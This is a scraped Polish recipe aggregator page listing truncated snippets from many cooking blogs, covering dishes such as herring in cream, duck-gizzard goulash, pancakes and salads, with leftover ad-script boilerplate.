obrać, bardzo drobno posiekać. W miseczce połączyć śmietanę z octem jabłkowym oraz cukrem, dodać starte jabłko i posiekaną cebulę, wymieszać. Całość doprawić do smaku pieprzem. Kawałki śledzi wymieszać z sosem śmietanowym, następnie śledzie w śmietanie odstawić do lodówki na kilka godzin. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Śledzie w śmietanie pochodzi z serwisu Niecodziennik Pary

niecodziennikpary
Jaglana zapiekanka z jabłkami i gruszkami 123

piec ok. 40 minut w temperaturze 180 o C ( z termoobiegiem ). Po tym czasie z zapiekanki jaglanej z jabłkami i gruszkami ostrożnie zdjąć folię, chwilę odczekać i podawać z sosem owocowym, karmelem lub bitą śmietaną. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Jaglana zapiekanka z jabłkami i gruszkami pochodzi z serwisu Niecodziennik Pary

niecodziennikpary
Gulasz z kaczych żołądków z suszonymi grzybami 141

miękkie, w szklance rozmieszać mąką z kremówką, dodać trzy łyżki wywaru z garnka, wlać do gulaszu i wymieszać. Doprawić do smaku solą oraz pieprzem, gotować ok. 5 minut, aż sos zgęstnieje. Gulasz z kaczych żołądków z suszonymi grzybami podawać z kaszą ugotowaną na sypko lub ziemniakami z wody. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Gulasz z kaczych żołądków z suszonymi grzybami pochodzi

niecodziennikpary
Wywar z pieczonych kości kaczki 129

kości kaczki charakteryzuje się nieco ciemniejszą i bardziej mętną barwą, ale wynagradza to głęboki smak, w którym wyczuwa się pieczone kości kaczki. Wywar ten można później wykorzystać do zrobienia sosów lub jako bazę do zup. Składniki na wywar z pieczonych kości kaczki 1 korpus z kaczki kości z udek kaczki oraz skrzydełek 2 duże marchewki 1 pietruszka 1 cebula

niecodziennikpary
Kotlety z fasoli 152

pieprzem, wyrobić jednolitą masę. Z masy fasolowej formować kotlety, obtoczyć je w bułce tartej, smażyć na rozgrzanym oleju z obu stron na złocisty kolor. Kotlety z fasoli podawać z sosem np. holenderskim lub czosnkowym i dowolną surówką. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Kotlety z fasoli pochodzi z serwisu Niecodziennik Pary

niecodziennikpary
Pieczone żeberka w miodowo-chrzanowej marynacie 115

dodać marynatę oraz obraną i przekrojoną na pół cebulę. Wstawić do piekarnika rozgrzanego do 200 o C , piec 60 minut , mniej więcej co kwadrans przewrócić żeberka i polać wytworzonym sosem. Słodko-pikantne żeberka wieprzowe w zalewie miodowo-chrzanowej dobrze sprawdzą się jako dodatek do ziemniaków lub dowolnej kaszy. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Pieczone żeberka w miodowo-chrzanowej marynacie pochodzi

niecodziennikpary
Carpaccio z buraka 124

cytryny. Na półmisku ułożyć plastry buraczków czerwonych, na środku umieścić listki rukoli, pokruszyć ser feta, posypać ziarnami słonecznika. Carpaccio z buraczków oprószyć świeżo zmielonym pieprzem oraz solą, polać przygotowanym sosem. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Carpaccio z buraka pochodzi z serwisu Niecodziennik Pary

niecodziennikpary
Pancakes 150

sami przygotowaliśmy mieszankę na pyszne, puszyste, lekkie amerykańskie naleśniki . Pancakes zazwyczaj jemy na śniadanie, kiedy mamy ochotę na coś ciepłego, sycącego i podanego na słodko. Z dodatkiem syropu klonowego, sosu karmelkowego lub dżemu to bardzo smaczne rozpoczęcie dnia. Składniki na pancakes 225 g mąki pszennej 1 łyżka cukru 2 jajka wielkości L 30 g masła 300 ml mleka 2 łyżeczki

niecodziennikpary
Biała kiełbasa pieczona z pieczarkami 125

termoobiegiem ). Piec 30 minut , po czym zdjąć folię i piec kolejne 15-20 minut , do zrumienienia się kiełbasek. W tym czasie kilka razy posmarować kiełbaski powstałym sosem. Biała kiełbasa pieczona z pieczarkami smakuje najlepiej na gorąco z dodatkiem pieczywa lub ugotowanych ziemniaków. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Biała kiełbasa pieczona z pieczarkami pochodzi z serwisu Niecodziennik Pary

niecodziennikpary
Marchewka z groszkiem 115

gotowania marchewki i wymieszać, następnie przelać ją do garnka, przemieszać. Dodać sok z cytryny oraz cukier, doprawić do smaku solą oraz pieprzem, jeszcze chwilę pogotować, aby powstał gęsty sos. Marchewkę z groszkiem podawać do obiadu na gorąco. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Marchewka z groszkiem pochodzi z serwisu Niecodziennik Pary

niecodziennikpary
Papryka na parze z kalafiorem i suszonymi pomidorami 140

gotowania na parze, postawić na ogniu i gotować 20-25 minut. Paprykę na parze z kalafiorem i suszonymi pomidorami podawać od razu na gorąco, może również przygotować do potrawy sos ziołowy lub czosnkowy na bazie jogurtu i śmietany. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Papryka na parze z kalafiorem i suszonymi pomidorami pochodzi z serwisu Niecodziennik Pary

niecodziennikpary
Pieczony bażant 151

czasie obniżyć temperaturę do 180 o C , piec jeszcze 45-50 minut – po 30 minutach wlać wino, polać nim po bażancie. Po upieczeniu bażanta wyjąć na półmisek, sos przecedzić przez gęste sito i polać nim mięso. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Pieczony bażant pochodzi z serwisu Niecodziennik Pary

niecodziennikpary
Gulasz z łopatki wieprzowej 151

preferowane dodatki, które wzbogacają smak gulaszu z łopatki wieprzowej . W tym przepisie użyliśmy niewielu dodatków, bardziej postawiliśmy na wydobycie smaku i zamknięcie go w aromatycznym i dość pikantnym sosie, co chyba nam się udało. Udostępnij Składniki na gulasz z łopatki wieprzowej 500 g łopatki wieprzowej 1 czerwona papryka 1 średnia cebula 1 / 2 papryczki chili (bez pestek) 2 ząbki czosnku

niecodziennikpary
Ziemniaki Hasselback 161

piec ziemniaki jeszcze 40 minut , mniej więcej co 10 minut posmarować je masłem. Upieczone ziemniaki Hasselback podawać na gorąco jako dodatek do obiadu lub podobnie jak frytki z aromatycznymi sosami. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Ziemniaki Hasselback pochodzi z serwisu Niecodziennik Pary

niecodziennikpary
Pierś gęsi pieczona z winem 115

czasie zlać wytopiony tłuszcz, pierś odwrócić, wlać wino z marynowania gęsiny wraz z przyprawami. Zmniejszyć temperaturę do 160 o C , piec 2 godziny , co pół godziny polewać sosem. Pierś gęsi pieczoną z winem wyjąć na talerz, odczekać 10 minut, żeby mięso odpoczęło. Odkroić od kości, podzielić na porcje. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Pierś gęsi pieczona z winem pochodzi z serwisu

niecodziennikpary
Łódeczki ziemniaczane z piekarnika 130

termoobiegiem ), wsunąć blachę z ziemniakami, piec ok. 60 minut . W połowie pieczenia łódeczki z ziemniaków przemieszać. Łódeczki ziemniaczane z piekarnika przełożyć na talerz, podawać z pieczonym mięsem lub sosem np. majonezowo-czosnkowym. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Łódeczki ziemniaczane z piekarnika pochodzi z serwisu Niecodziennik Pary

niecodziennikpary
Sałatka z zupek chińskich z kurczakiem 148

uczestniczył w kuchennych poczynaniach. Jak można się domyślać, sałatka z makaronu zupek chińskich jest łatwa do zrobienia, poza przygotowaniem mięsa wymaga jedynie pokrojenia szczypiorku i papryki oraz wymieszania składników sosu. Za to efektem końcowym każdy może być zdziwiony, bo sałatka z zupek chińskich z kurczakiem smakuje naprawdę dobrze. Polecamy, tak, tak dobrze czytacie – oboje polecamy. Udostępnij Sałatka z zupek

niecodziennikpary
Szakszuka (Shakshouka) ze szpinakiem 143

pierwszy słowo „ szakszuka ” zobaczyliśmy w menu jednej restauracji w Toruniu, a ciekawość, co to jest, zachęciła nas do wstąpienia tam na śniadanie. Podano nam jajka zapiekane w sosie pomidorowym z papryką – proste, smaczne i sycące danie na początek dnia. Warto to danie włączyć do domowego zestawu porannych posiłków, wzbogacając codzienną dietę o porcję zdrowych warzyw. Tym bardziej, że szakszukę

niecodziennikpary
Placek po góralsku 133

pomidory z puszki. Dusić pod przykryciem na małym ogniu przez 30 minut, od czasu do czasu przemieszać. Następnie dodać chili, sproszkowaną paprykę i dusić aż mięso będzie miękkie, a sos zgęstniej. Na koniec wsypać starty na drobnej tarce ser wędzony, przemieszać i doprawić do smaku solą i pieprzem. Placki ziemniaczane: Ziemniaki i cebulę obrać, zetrzeć na tarce (część ziemniaków

niecodziennikpary
Ciapkapusta 158

przecisnąć przez praskę lub utłuc tłuczkiem do ziemniaków. Dodać kapustę z boczkiem oraz cebulą, wymieszać, doprawić do smaku solą oraz pieprzem. Ciapkapusta bardzo dobrze smakuje ze sztuką mięsa oraz sosem pieczeniowym. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Ciapkapusta pochodzi z serwisu Niecodziennik Pary

niecodziennikpary
Kotlety ziemniaczane nadziewane mięsem z rosołu 143

bułce tartej, usmażyć na złoto na rozgrzanym oleju. Kotlety ziemniaczane nadziewane mięsem z rosołu podawać od razu po usmażeniu z ulubioną surówką, dodatkowo można je polać np. z sosem z pieczarek. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Kotlety ziemniaczane nadziewane mięsem z rosołu pochodzi z serwisu Niecodziennik Pary

niecodziennikpary
Sałatka z ciecierzycy i buraka 129

buraki w mniejszą. Ciecierzycę odcedzić, opłukać, pozostawić na sicie do odkapania. Czosnek obrać, przecisnąć przez praskę. W miseczce wymieszać składniki dressingu, doprawić do smaku solą oraz pieprzem. Połowę sosu wymieszać z ciecierzycą i batatami, drugą połowę z buraczkami. Przygotować porcje sałatki, wykładając na dnie półmiska liście rukoli, na nich rozłożyć ciecierzycę oraz bataty. Na wierzch sałatki wyłożyć pokrojone buraczki. Sałatkę

niecodziennikpary
Bażant pieczony z grzybowym nadzieniem 139

odstawić na 5 minut, zdjąć słoninę. Podawać w całości lub pokrojonego na kawałki z dodatkiem klusek śląskich, kopytek, ziemniaków z wody. W osobnym naczyniu podać przecedzony przez drobne sitko sos z pieczenia. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Bażant pieczony z grzybowym nadzieniem pochodzi z serwisu Niecodziennik Pary

niecodziennikpary
Pieczywo chrupkie domowe. Parathy z patelni. 206

jakiś czas, pilnujemy alby wolno się piekły i zrobiły rumiane. Nie spieszymy się aby dokładnie dopiec ciasto. Ma być rumiane i mają być widoczne pęcherzyki powietrza. Podajemy z sosami, warzywami lub chrupiemy same

Apetyczna babeczka
Warzywa z perłowym kuskusem w sosie kokosowym 133

Może już zauważyłyście, pieczone warzywa zdominowały moją kuchnię. Tym razem pieczona brukselka, smażona dynia z czosnkiem i kasza w sosie na bazie mleka kokosowego. Nie jest to stricte przepis. To pomysł na warzywa na talerzu. O tym, jak dynia smakuje najlepiej przeczytacie tutaj: DynioweLove Do tego pieczona brukselka, która najlepiej smakuje pieczona. Brukselkę kroję na połówki i ćwiartki. Marynuję

Kucharzyca
Kotlety ruskie. 189

trochę mąki. Później już tylko uformowałam kotlety, obtoczyłam w bułce tartej i usmażyłam. Wyszło pysznie. Dla mnie, to takie leniwe ruskie :) Spróbujcie, a nie pożałujecie. Fajnie pasuje do tego, sos pieczarkowy. Składniki: 300 g. ziemniaków (waga po ugotowaniu) 200 g. twarogu 1 cebula sól, pieprz 1 jajko 1 łyżka mąki Dodatkowo: bułka tarta do obtoczenia placków olej do smażenia Wykonanie

Agusiowe smakołyki
Buraki stir fry z ryżem i tuńczykiem 136

dużej patelni. Na dobrze rozgrzany olej wrzucamy buraki, solimy. Potem podsmażamy, mieszając buraki przez ok 1-2 minuty. Następnie do buraków dodajemy ugotowany ryż. Tuńczyka jeśli jest w sosie własnym odciskamy, jeśli w oleju dodajemy razem z olejem. Potem ogórki kroimy w kostkę i dodajemy. Finalnie dodajemy pozostałe składniki, mieszamy. Na końcu doprawiamy do smaku. Artykuł Buraki stir

Dorota Smakuje
Sałatka z grzankami 210

Składniki: 1 czerstwa bułka 1/2 ogórka 150 g wędzonego fileta z kurczaka garść pomidorków koktajlowych 3 jajka roszponka słodka papryka zioła prowansalskie olej w sprayu sos: 1 łyżka oliwy 1 … Czytaj dalej Sałatka z grzankami

czarrna od kuchni
Pieczona ryba cytrynowa 119

naczyniu żaroodpornym i smarujemy ją z wierzchu, smakowym masłem i delikatnie pieprzymy. Pieczemy ok 20 minut. Ryba po tym czasie powinna być już gotowa oraz powinien powstać pyszny cytrynowy sos. Jeśli ryba będzie się za szybko rumienić z wierzchu należy ją przykryć folią aluminiową i kontrolować, żeby ryba się upiekła a nie uparowała czy ugotowała w piekarniku. Podajemy z ryżem

CookYourself
Naleśniki i placki 169

Pełnoziarniste naleśniki orkiszowe z twarogiem i sosem malinowym      Placuszki serowe      Zdrowe naleśniki pełnoziarniste gryczano-orkiszowe na maślance       Placuszki walijskie z płatkami kukurydzianymi czekoladowymi     Puszyste naleśniki twarogowe      Galettes - francuskie naleśniki z mąki gryczanej      Puszyste naleśniki na maślance     Pancakes z dynią

Passions hobbies life
CZEKOLADOWE CIASTO Z GRUSZKAMI 180

piecz przez 55 do 60 minut. Temp. 170 -180 stopni C, grzanie dół. Ostatnie 10-15 minut uruchamiam termoobieg.  Ciasto przestudź.  Możesz podawać np. z gorącym sosem czekoladowym, ale to już full wypas  ;-) POLECAM RÓWNIEŻ: 1. CHLEBEK BANANOWY  2. DOMOWE BATONY JAK SNICKERS LUB TWIXX 3. MUFFINKI BANANOWE Z CZEKOLADĄ 4. BROWNIE Z BANANAMI - "JADALNA ZIEMIA

SMYKWKUCHNI
Oszukany Eton Mess... 167

przy codziennym gotowaniu. Żadne wielkie halo: mrożone purée ziemniaczane; gotowe i siekane, puszkowane, albo mrożone warzywa, czy owoce; makarony, w tym nadziewane (tortellini) z chłodziarek supermarketów, podawane z gotowymi sosami dobrej jakości, gotowy, proszkowany bulion, itp. Ot dobry pomysł na szybki obiad w tygodniu, kiedy każdy potrzebuje odrobiny inspiracji po powrocie z pracy, czy odebraniu dzieci ze szkoły i zajęć

Lejdi of the house
Bigos z suszonymi grzybami i śliwką przygotowany w wolnowarze 198

kilkanaście potraw. Dziś dzielę się z Wami przepisem na pyszny bigos z suszonymi grzybami i śliwką. Jednak w tym urządzeniu można przygotować o wiele więcej. Od esencjonalnych bulionów, zup, sosów, po wyśmienite mięsa, a nawet całego kurczaka (wystarczy go tylko wcześniej zamarynować). Poza tym w wolnowarze można też przygotować najróżniejsze słodkie desery, a nawet ciasta. Tych ostatnich jeszcze nie robiłam

Słodkie okruszki
Domowa pizza bianca z ziemniakami i szałwią 118

dużym skrócie pizza bianca to taka bez sosu pomidorowego. Choć pomidory nieodłącznie kojarzą się z Włochami oraz pizzą, jej biała wersja jest równie pyszna i aromatyczna.  Na pizzy znalazły się małe, chrupiące niczym chipsy ziemniaczki, farsz z mascarpone, parmezanu i anchois oraz świeża szałwia i cebulka dymka. Połączenie wydaje się kontrowersyjne, ale jest genialne, o czym przekonali się

Chilli Czosnek i Oliwa
Makaron z truskawkami i twarogiem 159

WYKONANIE Makaron ugotować al dente w lekko osolonej wodzie z dodatkiem oleju. Na patelnię wsypać truskawki, dodać cukier, pognieciony widelcem banan i śmietanę, po czym podgrzewać do momentu, aż sos nieco zgęstnieje. Następnie wsypać odcedzony z wody makaron i dobrze wymieszać. Potrawę nałożyć na talerze i posypać pokruszonym twarogiem

Passions hobbies life
Wiosenna sałatka z pstrągiem tęczowym, roszponką i sezamem 161

półmisku rozłożyć roszponkę i ułożyć na niej warzywa. Na nich poukładać kawałki pstrąga. W miseczce połączyć ze sobą wszystkie składniki dressingu i dokładnie je ze sobą wymieszać. Gotowym sosem polać sałatkę tuż przed podaniem oraz posypać ją sezamem i udekorować koperkiem

My simple kitchen
Pasta z pieczonym bakłażanem 161

przygotowania: 80 minut Składniki: 3/4 szklanki suchej ciecierzycy 1/2 łyżeczki sody oczyszczonej 1 bakłażan 1 opakowanie serka kremowego Hochland z pieczarkami  1 ząbek czosnku 1 łyżeczka pasty harrisa sos z połowy limonki 250 g boczniaków 1 łyżka przyprawy sumak 1 łyżka miodu 1/2 pęczka natki 1/2 pęczka kolendry 1/4 pęczka koperku oliwa z oliwek EV sól pieprz Wykonanie: Ciecierzycę

Kulinarne przygody Gatity
Sałatka makaronowa z brokułem i papryką 458

kolorową marchewką i piernikowym dressingiem Sałatka z pieczonych buraków i czerwonych pomarańczy Sałatka ze świeżym ananasem i winogronami Sałatka z paluszkami surimi i czosnkiem Sałatka z krewetkami i różowym sosem Sałatka ze świeżym ananasem i kurczakiem Sałatka makaronowa z brokułem i papryką  Sałatka makaronowa z brokułem i papryką Czas przygotowania:  30 minut Składniki: 1 szklanka suchego makaronu risini

Kulinarne przygody Gatity
Udziec z indyka pieczony na warzywach 147

zamknąć i całość wstawić do piekarnika nagrzanego na 180 stopni na około 1,5 godziny. Zależy od wagi mięsa.  Udziec z indyka podawać z upieczonymi warzywami. Można polać sosem, który powstał podczas pieczenia.  Smacznego

Codzienne Gotowanie
Roladki z boczkiem w sosie cebulowym 129

nią nasze roladki. Dusimy około 25 minut często przekręcając w cebuli. Na koniec zagęszczamy łyżką mąki. Pyszne z ryżem i buraczkami lub ogórkiem kiszonym. Jeśli chcecie mieć delikatniejszy sos to można zagęścić śmietaną. Smacznego.         Share 0 Tweet 0 Pinterest 0 0 Shares

Latosiowydom
Szynka pieczona w marynacie musztardowej 170

mięso wystygło, wyjęłam je z zalewy i schłodziłam w lodówce. Mięso można podać również od razu po upieczeniu, krojąc je na grubsze plastry i polewając powstałym podczas pieczenia sosem. (adsbygoogle = window.adsbygoogle || []).push({}); Zapraszam do odwiedzenia pozostałych moich przepisów na mięsa pieczone i gotowane, np.: schab pieczony w cebulowej marynacie (link do przepisu: https://wanilioweimprowizacje.blogspot.com/2020/02/schab-pieczony-w-cebulowej-marynacie.html), https://wanilioweimprowizacje.blogspot.com/2019/12/pieczen-z-miesa-mielonego.html), pieczeń

Waniliowe Improwizacje
Placuszki a'la pizza 797

lekkiego zarumienienia się. Po przewróceniu placków na ich wierzchu ułożyć kawałki sera oraz plasterki pieczarek. (Ser powinien delikatnie się roztopić.) Placki podawać z pomidorkami koktajlowymi i opcjonalnie z dowolnym sosem. W przepisie użyłam serka topionego w plastrach Cheddar od Sertop

Di gotuje
Grochówka kryzysowa 166

gotowaniu zupy, też dobra wyjdzie. PRZEPIS GROCHÓWKA KRYZYSOWA Składniki grochówka kryzysowa (ok 4 litry zupy): 400g grochu suchego w połówkach kości i resztki mięsa, skóra z kaczki pieczonej (również sos z pieczenia) – można pominąć w wersji wege, można zastąpić kawałkiem kiełbasy czy boczku coś z włoszczyzny co mamy np: 1 korzeń pietruszki, 1 plaster selera korzeniowego, plaster kapusty białej

Dorota Smakuje
Co zrobić, aby koncentrat pomidorowy był bardziej aromatyczny. 156

oncentrat ( przecier ) pomidorowy nabierze więcej pięknego aromatu, gdy tuż przed dodaniem go do zupy, sosu itp. podsmażymy go na patelni, lub w rondelku na oleju lub maśle. Podsmażamy go na dość dużym ogniu przez kilka minut, cały czas mieszając, aby się nie przypalił.         Pozdrawiam serdecznie

Przepisy i porady kulinarne
Gulasz z indyka z pieczarkami i marchewką 228

gdzie panie kucharki podawały nam z gulasz z kaszą, z wyglądu niezachęcający, ale w smaku obłędny. Najprostszy, ale najsmaczniejszy. Gulasz jest dla mnie świetnym pomysłem na obiad – duży gar sosu, do tego dowolny dodatek i sycący obiad dla masy ludzi gotowy. Przepis na gulasz z indyka na pewno się Wam spodoba. Delikatne kawałki mięsa, rozpadającego się pod widelcem, do tego

Smaczna Strona
TOSTY Z SEREM I SZYNKĄ 147

kiszonym ogórkiem to prosta i smaczna propozycja na ciepłe śniadanie lub kolację. Dodatkami mogą być także pomidory, cukinia, cebula, pieczarki, papryka, ogórki wszelakie, warzywa, te świeże lub marynowane, rozmaite sosy, np. czosnkowy, tatarski lub pasta ajwar. Gorące tosty podaję ze świeżą rukolą i dobrym kakao. SKŁADNIKI: 12 kromek chleba tostowego 6 plastrów żółtego sera 6 plastrów szynki 2 ogórki kiszone

Zasmakuj Kuchni
Ziemniaki hasselback 107

piecz ziemniaki przez 1 godzinę w temperaturze 200 stopni C (góra dół, bez termoobiegu). Na ostatnie 5 minut włącz termoobieg. Po wyjęciu posyp je parmezanem. Podawaj z ulubionymi sosami i dodatkami. Informacje dodatkowe Wartości odżywcze (1 sztuka): Kcal: 81 | Białko: 1,9 | Węglowodany: 16,4 | Tłuszcze: 1,1 Smacznego! Polub www.przepisynawidelcu.pl na facebooku oraz obserwuj na instagramie . Wypróbuj przepis dołączając

Przepisy na widelcu
Kurczak w sosie pomidorowym 180

Filet z kurczaka w sosie pomidorowym z koperkiem, lekko pikantny, idelany do makaronu typu rurki. Składniki: 2 duże filety z kurczaka, pęczek koperku, 750 ml bulionu rosołowego, ok 100 g przecieru pomidorowego, szczypta chilli, łyżeczka słodkiej papryki, łyżeczka suszonych pomidorów, łyżka mąki, szczypta soli, pieprzu Przygotowanie: Filety kroimy jak na kotlety, lekko rozklepujemy. Obtaczamy w mące. Smażymy na niewielkiej

Lena Gotuje
Surówka z czerwonej kapusty z serem pleśniowym 163

chwilę rękami. Marchewkę i ser trzemy na tarce o grubych oczkach, cebulę kroimy w drobną kostkę - wszystko dodajemy do kapusty. Z jogurtu, majonezu, soku z cytryny i cukru robimy sos, który wlewamy do warzyw, mieszamy. Doprawiamy według własnego uznania. Surówkę wkładamy do lodówki

Kardamonovy
Makaron z boczkiem i jajkiem 157

ciasta bez jajka, tylko z mąki, wody i odrobiny oleju, a nawet bez oleju. Przygotowywał się też do rosołu kluseczki. albo lane kluski oraz kluseczki do zup i sosów. Polecam Wam też nasze ulubione przepisy na obiady w 15 minut, czyli proste, szybkie obiady znajdziecie tutaj. Czy Makaron z boczkiem i jajkiem to trudne danie? Nie, bo każdy dzieciak

Damsko-męskie spojrzenie na kuchnię
Surówka Coleslaw z kalarepą (Insalata Coleslaw con cavolo rapa) 153

majonezem i octem . **** In una ciotola mescolate lo yogurt con la maionese e l'aceto. Do salaterki przekładamy kalarep ę , marchew i cebulę a na sam koniec wlewamy sos majonezowy; doprawiamy sol ą i pieprzem. Surówkę dokładnie mieszamy, schładzamy w lodówce przynajmniej 1 godz. **** In una ciotola trasferite le carote, il cavolo rapa e la cipolla, aggiustando di sale

La grande e la piccola cuoca
Kalafior w panierce z zatarem 135

średnio rozgrzanym oleju po obu stronach na złoty kolor (kolor kotleta będzie zależał od barwy zataru). Odsączać na ręczniku papierowym. Podawać np. z marchewką z groszkiem. Ja dodatkowo przygotowałam sos kokosowo-arachidowy

Weekendy w domu i ogrodzie
Ryżowa sałatka z tuńczykiem 142

akurat skończyło mi się pieczywo, to zdecydowałam się na wersję z ryżem 😁 Ryżowa sałatka z tuńczykiem - przepis na 2-3 porcje Do przygotowania sałatki będziesz potrzebować: puszkę tuńczyka w sosie własnym, 3 łyżki groszku konserwowego, 3 łyżki kukurydzy, pół szklanki ryżu jaśminowego, sól i pieprz do smaku, szczyptę cząbru, szczyptę chili. 1. Ryż ugotuj w osolonej wodzie i odstaw

Z notatnika dietetyka
Polskie hot dogi z Chicago 128

tych biednych, ale głównymi nosicielami to ci, których stać na wycieczki do Chin i narty we Włoszech :) Drugi wniosek - ludzie nie potrafią gotować, bo z półek znikają głównie gotowe sosy w słoikach, co mnie osobiście cieszy, bo ja kupuje inne produkty, ale trochę przeraża :) Sam przepis wpadł mi w ręce przez przypadek. To znaczy ja myślę, że to przypadek

Kryzysowa Książka Kucharska
Kotleciki ryżowe z łososiem 157

warto przyrządzić z niego coś pożywnego. Moja propozycja to ryżowe kotleciki z łososiem i groszkiem. Proste do przygotowania i lekkie – świetnie smakują same jak i z surówką czy sosem jogurtowym. Kotleciki ryżowe z łososiem i groszkiem: 300 g ugotowanego, białego ryżu (3 torebki) 150 g wędzonego na gorąco łososia (można zastąpić inną wędzoną rybą lub tuńczykiem z puszki

Poezja smaku
Iszleki- turkmeńskie pierogi pieczone 144

pieczenia lub matą silikonową, posmarować rozkłóconym jajkiem wymieszanym z kurkumą i posypać sezamem. Piec w piekarniku nagrzanym do 200 stopni przez około 15-20 minut. Podawać z ulubionymi sosami. Smacznego Iszleki- turkmeńskie pierogi pieczone Iszleki- turkmeńskie pierogi pieczone Iszleki- turkmeńskie pierogi pieczone Artykuł Iszleki- turkmeńskie pierogi pieczone pochodzi z serwisu Kulinarne życie Armine

Smaki Armine
GRYCZANE PLACUSZKI Z JABŁKIEM - najpyszniejsze! 206

Kolejno dodaj ubite białka i delikatnie wymieszaj.  Na mocno rozgrzaną, suchą patelnię nakładaj po łyżce masy. Smaż z dwóch stron po kilka minut, do zarumienienia.  Podałam z sosem orzechowym (masło orzechowe rozmieszałam z odrobiną mleka i wody) i jagodami

Zdrowie na języku :P
Carpaccio buraczane z kozim serem 192

Składniki 2 buraki garść rukoli liście botwinki pestki słonecznika i dyni orzeszki pinii 100 g sera koziego sos 1 łyżeczka musztardy francuskiej 2 ząbki czosnku 1/4 szklanki oliwy z oliwek 2 łyżeczki miodu 1/2 łyżeczki ziół prowansalskich sok z cytryny sól i pieprz Przygotowanie Buraki w łupinkach zawiń w folię aluminiową i piecz w piekarniku nagrzanym do temperatury 180 stopni

KUCHNIA POLSKA
Frittata 137

wierzchu i posyp mozzarellą. Włóż formę do nagrzanego piekarnika i piecz 20 minut w temperaturze 180 stopni C (góra dół, bez termoobiegu). Przed podaniem posyp parmezanem. Można podawać z sosami. Informacje dodatkowe Wartości odżywcze (1 porcja): Kcal: 349 | Białko: 25,9 | Węglowodany: 5,5 | Tłuszcze: 23,9 Smacznego! Polub www.przepisynawidelcu.pl na facebooku oraz obserwuj na instagramie . Wypróbuj przepis dołączając #przepisynawidelcu

Przepisy na widelcu
Gołąbki z warzywnym nadzieniem w sosie 151

ugotowaną komosą i soczewicami. Zblanszowane liście kapusty nadziewać farszem i zwinąć. Układać w rondlu, podlać lekko np. bulionem. Dodać liść laurowy i ziele angielskie. Gotować ok 20 minut. Sos: 3-4 czubate łyżeczki koncentratu pomidorowego niepełna łyżeczka soli, pieprz ząbek czosnku 1 szklanka wody 1 łyżeczka rozmarynu suszonego oregano 4 suszone pomidory Koncentrat włożyć do garnka, dodać przyprawy, posiekane suszone

AZgotuj!
Pieczony boczek Boryny, świetny na kanapki 169

się nad nią rozczulać. Po prostu kroisz, macerujesz, zapiekasz, studzisz i konsumujesz składniki: 1 kg świeżego, boczku wieprzowego bez kości ze skórą marynata : 2 łyżki ostrej papryki 2 łyżki sosu sojowego 2 łyżki granulowanego czosnku 1 łyżeczka mielonych, nasion kminku 1 łyżeczka mielonych nasion gorczycy czarnej 2 łyżki brązowego cukru sól do smaku 2 łyżki oleju dodatkowo : folia aluminiowa

Ogrodnik w podróży
Sałatka z bakłażana i granatu 121

strony lub do złotego koloru) - musisz to zrobić partiami, dodając w razie potrzeby więcej oleju, ponieważ bakłażany dużo absorbują. Przenieś bakłażany na ręczniki papierowe, pozostaw do ostygnięcia przed schłodzeniem. SOS: drobno posiekaj liście mięty. Za pomocą tłuczka i moździerza zmiażdż czosnek, dodaj szczyptę soli morskiej. Gdy pasta będzie gładka, dodaj oliwę z oliwek z pierwszego tłoczenia, ocet, sok z granatów

Apetyt na Zielone
Szybka przekąska idealna na spotkanie ze znajomymi 609

otulony ciastem francuskim z pieczarkami i papryką. Genialna przekąska idealna na domową imprezę. Składniki: ciasto francuskie filet z kurczaka pieczarki papryka czerwona tarta mozzarella cebula sól pieprz roztrzepane jajko Sos: jogurt naturalny, majonez, sól, pieprz, rozgnieciony ząbek czosnku Filet z kurczaka posolony, popieprzony smażymy na oleju. Na oddzielnej patelni dusimy cebulę i pokrojone w plasterki pieczarki, dodajemy posiekaną w kostkę

MojaQchnia.pl
Delikatne, puszyste kluski jogurtowe z bananem 160

cukru. Wracając do przepisu... poniższe danie polecam każdemu, kto lubi delikatne, puszyste kluski. Przygotowałam je na bazie gęstych jogurtów greckich, dojrzałego banana oraz kaszy manny. Kluski podałam z domowym sosem truskawkowym (ugotowane mrożone truskawki). Składniki na  porcję dla 2 dorosłych osób: 2 opakowania gęstego jogurtu greckiego (razem 300 g) 1 średniej wielkości, dojrzały banan 1 jajko 6 łyżek kaszy

Ugotować
Spaghetti all'Amatriciana 171

chlust wina. Gdy wino wyparuje pomidory, sól, pieprz. Ja dodaję też troszkę cukru, jeśli pomidory są kwaśne. Gotujemy makaron. Gdy będzie al dente z odrobiną wody przekładamy go do sosu. Mieszamy, dodajemy ser pecorino romano

Cytryna&Co.
Truskawkowe tiramisu 138

rozmrażamy, a następnie odlewamy do miseczki nadmiar wody, który puściły. Odsączone owoce blendujemy z 1,5 łyżki cukru pudru, odrobiną cukru waniliowego oraz łyżeczką soku z cytryny. Tak powstały sos odstawiamy do lodówki, aby już się schłodził. Zimną śmietanę ubijamy a sztywno. Pod koniec dodajemy pozostały cukier puder, cukier waniliowy, sok i skórkę z cytryny. Kiedy śmietana jest sztywna

Analiza Smaku
Wegetariański przewodnik kulinarny po Hercegowinie (Mostar, Stolac, Počitelj, Čapljina, Međugorje, Blagaj, wodospady Kravica) 113

dzięki temu zaoszczędziliśmy 300 euro (a za 300 euro można wypić sporo bośniackich kaw). W restauracji Sadrvan możemy zjeść całkiem nienajgorszy djuveč (wegański), czyli przeróżne warzywa w sosie pomidorowym z ryżem. Koniecznie trzeba wypić kilka tygielków bośniackiej kawy, odrobinę tureckiej herbaty i spróbować słodkości, takich jak przeróżne baklawy czy  hurmašice (bośniackie ciastka w syropie, które smakują jak zlepione pokruszone

Roślinożerni urlopowicze
Jak zrobić naleśniki- crepes na maślance? 180

